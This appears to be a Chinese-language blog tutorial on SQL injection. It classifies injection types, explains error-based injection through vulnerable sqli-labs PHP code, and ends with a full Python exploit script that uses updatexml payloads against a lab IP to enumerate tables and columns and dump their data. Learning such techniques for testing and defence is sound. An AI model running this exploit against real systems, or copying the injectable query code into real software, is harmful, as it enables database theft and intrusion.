文章目录
前言
总结下sql注入分类的理解和报错注入产生原理,并编写EXP
,本文需要你懂得一点Web编程的知识
一、sql注入分类
SQL注入是什么,在这片文章讲过了https://blog.csdn.net/weixin_45626840/article/details/116116188
分类需要有一个依据,不同依据产生不同的分类标准‘
注入点类型
这个也是常叫的说法,指的是所传参的数据类型,主要就是数字/字符,下面展示了前端传参的样式,以及后端接收到数据后的大概拼接的sql语句
数字型注入点
- url:http://xxx.com/news.php?id=1
- sql原型:select * from 表名 where id = 1
字符型注入点
- http://xxx.com/news.php?name=admin
- sql原型:select * from 表名 where name = ‘admin’(多了引号)
搜索型注入点
- 数据搜索时没有过滤关键字
- 链子地址中有keyword=关键字
- 搜索框表单提交
- sql原型:select * from 表名 where 字段 like ‘%关键字%’
数据提交方式
这个主要依据数据传参的方法/位置
- GET注入
- POST注入
- Cookie注入
- HTTP头部注入
执行效果
- 基于报错的注入(有回显)
- 基于布尔的盲注(无回显)
- 基于时间的盲注(无回显)
这种分类依据执行后前端的回显效果,联合注入是最直接的,它会将执行的结果返回给前端,也就是说前端有位置可以看到结果(在php里通常就是echo
会前端做结果展示)
报错注入也是有回显的,只不过不是直接回显查询的结果,而是触发错误后回显,稍后我们在详细分析它的成因。
盲注则是没有信息展示用于判断是否存在漏洞,我们可以利用其他信息依据作判断。
二、联合/报错注入原理分析(有回显)
代码分析
sqli-labs 第一关的部分源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //拼接sql
$result=mysql_query($sql); //传到数据库执行
$row = mysql_fetch_array($result); // 获取执行结果
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username']; //将查询结果echo回前端
echo "<br>";
echo 'Your Password:' .$row['password']; //将查询结果echo回前端
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error()); //将出错原因mysql_error() 回显前端
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
通过前文的知识,我们知道sql拼接导致了sql注入,再加上后端代码将查询结果echo
回来,使得我们可以直接返回注入语句的结果,直接可以联合注入
sqli-labs第5关 报错注入
部分代码如下:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........'; //返回一个字符串,并无查询的结果
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error()); //返回了 mysql_error() !!!
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
和第1关对比,第5关的if($row)
条件内并没返回执行结果,只是echo
了一个字符串。但是!返回了mysql_error()
这个函数的内容,也就是说,存在回显点!
逻辑分析
上面这两段代码都是很常见的业务逻辑,我们可以猜测程序员在写代码的时候,逻辑就是这样:
- 这个业务功能点需要返回查询结果,那么,我echo回去,展示给用户;
- 有可能执行出错喔,好,那我把错误内容echo回去
很显然,mysql_error()
的返回导致了报错注入的产生
三、EXP编写
构造好自己url和报错方式即可
import requests
import re
# 验证是否存在报错注入漏洞
url = "http://192.168.10.136/redteamblue/sqli.php?id=1"
check_payload = "and updatexml(1,concat(0x7e,\"awdadawdwdadadw\",0x7e),1)"
check_url = url + check_payload
check_resp = requests.get(check_url).text
if "awdadawdwdadadw" in check_resp:
print("[+]error inject exists / 存在报错注入")
# 计算表名数目
table_count_payload = " and updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e),3)"
table_count_url = url + table_count_payload
#print(table_count_url)
table_count_resp = requests.get(table_count_url).text
re_pattern = re.compile("~(.*)~")
table_count = re_pattern.findall(table_count_resp)
print("[+]number of table:" + table_count[0])
# 表名
for i in range(0,int(table_count[0])):
table_payload = " and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1),0x7e),3)"
table_url = url + table_payload
#print(table_url)
table_resp = requests.get(table_url).text
table = re_pattern.findall(table_resp)
print("[+]table:" + table[0])
# 计算 列/字段 数
table_choose = input("choose table name want to inject:")
column_count_payload = " and updatexml(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema=database() and table_name = '{}'),0x7e),3)".format(table_choose)
column_count_url = url + column_count_payload
#print(column_count_url)
column_count_resp = requests.get(column_count_url).text
column_count = re_pattern.findall(column_count_resp)
# 爆列名
for i in range(0,int(column_count[0])):
column_payload = " and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name = '{}' limit {},1),0x7e),3)".format(table_choose,str(i))
column_url = url + column_payload
#print(column_url)
column_resp = requests.get(column_url).text
column = re_pattern.findall(column_resp)
print("[+]column:" + column[0])
# 计算行数
dump_choose = input("choose column name want to dump:")
dump_count_payload = " and updatexml(1,concat(0x7e,(select count({}) from {}),0x7e),3)".format(dump_choose,table_choose)
dump_count_url= url + dump_count_payload
#print(dump_count_url)
dump_count_resp = requests.get(dump_count_url).text
#print(dump_count_resp)
dump_count = re_pattern.findall(dump_count_resp)
#print(dump_count[0])
# 拖库
for i in range(0,int(dump_count[0])):
dump_payload = " and updatexml(1,concat(0x7e,(select {} from {} limit {},1),0x7e),3)".format(dump_choose,table_choose,str(i))
dump_url = url + dump_payload
#print(dump_url)
dump_resp = requests.get(dump_url).text
dump = re_pattern.findall(dump_resp)
print("[+]data:" + dump[0])